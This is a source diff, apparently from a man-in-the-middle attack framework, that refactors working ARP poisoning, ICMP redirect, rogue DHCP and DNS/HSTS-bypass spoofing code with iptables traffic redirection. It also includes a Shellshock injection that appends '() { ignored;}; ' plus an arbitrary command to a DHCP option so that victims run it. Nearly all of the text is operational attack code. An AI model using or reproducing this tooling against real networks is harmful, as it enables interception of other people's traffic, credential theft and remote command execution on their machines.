options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]') + options.add_argument('--arpmode', dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') + #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') - t.setDaemon(True) - t.start() + #added by alexander.georgiev@daloo.de + options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + def finish(self): + if self.options.arp: + self.arp.stop() + sleep(3) - return rand_ip + self.arp.arp_inter = 1 + if self.target: + print "\n[*] Re-ARPing target" + self.arp.reArp_target(5) - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip + print "\n[*] Re-ARPing network" + self.arp.reArp_net(5) - if resp[DHCP].options[0][1] == 1: - logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - logging.info("Sending DHCP OFFER") - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) + elif self.options.icmp: + self.icmp.stop() + sleep(3) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + if (self.options.dns or self.options.hsts): + self.dns.stop() - sendp(packet, iface=self.interface, verbose=self.debug) + if not self.manualiptables: + self.sysconfig.iptables_flush() - if resp[DHCP].options[0][1] == 3: - logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') / - IP(src=get_if_addr(self.interface), dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', get_if_addr(self.interface)), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', get_if_addr(self.interface)), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) + self.sysconfig.set_forwarding(0) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass +class SystemConfig(): - if self.shellshock: - logging.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - logging.info("Sending DHCP ACK") - packet[DHCP].options.append("end") + def __init__(self, http_redir_port): - sendp(packet, iface=self.interface, verbose=self.debug) + self.http_redir_port = http_redir_port - def dhcp_sniff(self): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) + def set_forwarding(self, value): + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() - def send_packets(self, pkt, interface, debug): - while self.send: - sendp(pkt, inter=2, iface=interface, verbose=debug) + def iptables_flush(self): + os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') - def build_icmp(self): - pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\ - IP(src=self.target, dst=self.gateway)/UDP() + def iptables_http(self): + os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port) - return pkt + def iptables_dns(self): + os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1') - def build_arp_req(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") +class _DHCP(): - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target) + def __init__(self, interface, dhcpcfg, ip, mac): + self.interface = interface + self.ip_address = ip + self.mac_address = mac + self.shellshock = None + self.debug = False + self.dhcpcfg = dhcpcfg + self.rand_number = [] + self.dhcp_dic = {} - return pkt + def start(self): + t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) + t.setDaemon(True) + t.start() - def build_arp_rep(self): - if self.target is None: - pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) - elif self.target: - target_mac = getmacbyip(self.target) - if target_mac is None: - sys.exit("[-] Error: Could not resolve targets MAC address") + def dhcp_sniff(self, interface): + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) - pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2) + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'].split('-') + trunc_ip = pool[0].split('.'); del(trunc_ip[3]) + max_range = int(pool[1]) + min_range = int(pool[0].split('.')[3]) + number_range = range(min_range, max_range) + for n in number_range: + if n in self.rand_number: + number_range.remove(n) + rand_number = random.choice(number_range) + self.rand_number.append(rand_number) + rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) - return pkt + return rand_ip - def resolve_domain(self, domain): - try: - #logging.info("Resolving -> %s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip - if len(real_ips) > 0: - return real_ips + if resp[DHCP].options[0][1] is 1: + logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + logging.info("Sending DHCP OFFER") + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) - except Exception: - logging.debug("Error resolving " + domain) + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass - def nfqueue_callback(self, payload, *kargs): - data = payload.get_data() - pkt = IP(data) - if not pkt.haslayer(DNSQR): - payload.set_verdict(nfqueue.NF_ACCEPT) - else: - #logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) + sendp(packet, iface=self.interface, verbose=self.debug) - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) + if resp[DHCP].options[0][1] is 3: + logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + if self.shellshock: + logging.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + logging.info("Sending DHCP ACK") + packet[DHCP].options.append("end") - def modify_dns(self, payload, pkt, ip): - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + sendp(packet, iface=self.interface, verbose=self.debug) - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) +class _ICMP(): - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + def __init__(self, interface, target, gateway, ip_address): - payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + self.target = target + self.gateway = gateway + self.interface = interface + self.ip_address = ip_address + self.debug = False + self.send = True + self.icmp_interval = 2 - def start_dns_queue(self): - self.q = nfqueue.queue() - self.q.set_callback(self.nfqueue_callback) - self.q.fast_open(0, socket.AF_INET) - self.q.set_queue_maxlen(5000) - reactor.addReader(self) - self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) + def build_icmp(self): + pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ + IP(src=self.target, dst=self.gateway)/UDP() - def fileno(self): - return self.q.get_fd() + return pkt - def doRead(self): - self.q.process_pending(100) + def start(self): + pkt = self.build_icmp() - def connectionLost(self, reason): - reactor.removeReader(self) + t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() - def logPrefix(self): - return 'queue' + def stop(self): + self.send = False - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') + def send_icmps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) - def finish(self): - self.send = False - sleep(3) - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('0') - file.close() - if not self.manualiptables: - print '\n[*] Flushing iptables' - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') +class _ARP(): - if (self.dns or self.hsts): - try: - self.q.unbind(socket.AF_INET) - self.q.close() - except: - pass + def __init__(self, gateway, interface, mac): - if self.arp: - print '[*] Re-arping network' - pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2) - sendp(pkt, inter=1, count=5, iface=self.interface) + self.gateway = gateway + self.gatewaymac = getmacbyip(gateway) + self.mac = mac + self.target = None + self.targetmac = None + self.interface = interface + self.arpmode = 'req' + self.debug = False + self.send = True + self.arp_inter = 2 + + def start(self): + if self.gatewaymac is None: + sys.exit("[-] Error: Could not resolve gateway's MAC address") + + if self.target: + self.targetmac = getmacbyip(self.target) + if self.targetmac is None: + sys.exit("[-] Error: Could not resolve target's MAC address") + + if self.arpmode is 'req': + pkt = self.build_arp_req() + + elif self.arpmode is 'rep': + pkt = self.build_arp_rep() + + t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def send_arps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) + + def stop(self): + self.send = False + + def build_arp_req(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) + + return pkt + + def build_arp_rep(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) + + return pkt + + def reArp_net(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + + def reArp_target(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.target, hwsrc=self.targetmac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + +class _DNS(): + + def __init__(self, hstscfg, dnscfg): + self.hsts = False + self.dns = True + self.dnscfg = hstscfg + self.hstscfg = dnscfg + self.nfqueue = NetfilterQueue() + + def start(self): + t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=()) + t.setDaemon(True) + t.start() + + def nfqueue_bind(self): + self.nfqueue.bind(1, self.nfqueue_callback, 5000, 3) + self.nfqueue.run() + + def stop(self): + try: + self.nfqueue.unbind() + except: + pass + + def resolve_domain(self, domain): + try: + logging.debug("Resolving -> %s" % domain) + answer = dns.resolver.query(domain, 'A') + real_ips = [] + for rdata in answer: + real_ips.append(rdata.address) + + if len(real_ips) > 0: + return real_ips + + except Exception: + logging.info("Error resolving " + domain) + + def nfqueue_callback(self, payload): + if payload: + print "got packet!" + data = payload.get_payload() + pkt = IP(data) + if not pkt.haslayer(DNSQR): + payload.accept() + else: + logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + if self.dns: + for k, v in self.dnscfg.items(): + if k in pkt[DNSQR].qname: + self.modify_dns(payload, pkt, v) + + elif self.hsts: + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.items(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + + def modify_dns(self, payload, pkt, ip): + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + + if self.hsts: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + + if self.dns: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index d7b1e2d..e1b808b 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -8,8 +8,9 @@ class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" desc = 'Flips images 180 degrees' - has_opts = False implements = ["handleResponse", "handleHeader"] + has_opts = False + req_root = False def initialize(self, options): from PIL import Image, ImageFile @@ -17,8 +18,6 @@ class Upsidedownternet(Plugin): globals()['ImageFile'] = ImageFile self.options = options - print "[*] Upsidedownternet plugin online" - def handleHeader(self, request, key, value): '''Kill the image skipping that's in place for speed reasons''' if request.isImageRequest: